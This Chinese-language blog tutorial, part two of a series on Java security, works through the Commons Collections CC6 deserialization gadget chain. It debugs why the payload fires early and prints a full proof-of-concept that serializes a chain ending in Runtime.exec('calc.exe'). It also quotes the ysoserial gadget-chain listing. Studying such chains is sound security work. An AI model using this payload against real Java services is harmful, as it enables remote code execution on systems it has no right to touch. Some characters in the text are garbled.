Java安全之CC6( 二 )

关于构造利用链,先要有一个大致思路,接下来就是寻找参数是怎么样传递的 。
调试可以看到,只是生成序列化数据,没有成功执行命令

Java安全之CC6

文章插图
每个关键函数都打断点 , 单步调试一下 。在LazyMap的get?法,画框的部分,就是最后触发命令执?的transform(),但是这个if语句并没有进?,因为map.containsKey(key)的结果是true
Java安全之CC6

文章插图
可以看到这里的key是keykey , 看下之前的代码,唯?出现keykey的地?就是在 TiedMapEntry的构造函数?,但TiedMapEntry的构造函数并没有修改outerMap
Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");这个关键点就出在expMap.put(tme, "valuevalue"); 这个语句?? 。HashMap的put?法中 , 也有调?到hash(key)
Java安全之CC6

文章插图
这?就导致LazyMap这个利?链在这?被调?了?遍,因为前??了fakeTransformers,所以此 时并没有触发命令执?,但实际上也对我们构造Payload产?了影响
解决?法也很简单,只需要将keykey这个Key , 再从outerMap中移除即 可: outerMap.remove("keykey")
最终完整POC如下
public class CC6 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] iTransformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");//将真正的transformers数组设置进来Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(chain, iTransformers);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();System.out.println(barr);//本地测试ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}
Java安全之CC6

文章插图
这个利?链可以在Java7和8的?版本触发 , 没有版本限制:
ysoserial上面的这条利用链子是ysoserial中CC6的简化版 。
/* Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()java.util.HashMap.put()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()by @matthias_kaiser*/可以看到多了两步:
java.util.HashMap.put()java.util.HashMap.hash()这里是多了两个调用步骤,至于原因,暂时还没理解透 。
小结对CC6这条利用链进行了学习,在构造Gadget的时候还是要思路清晰 , 后面继续学习 。
【Java安全之CC6】

推荐阅读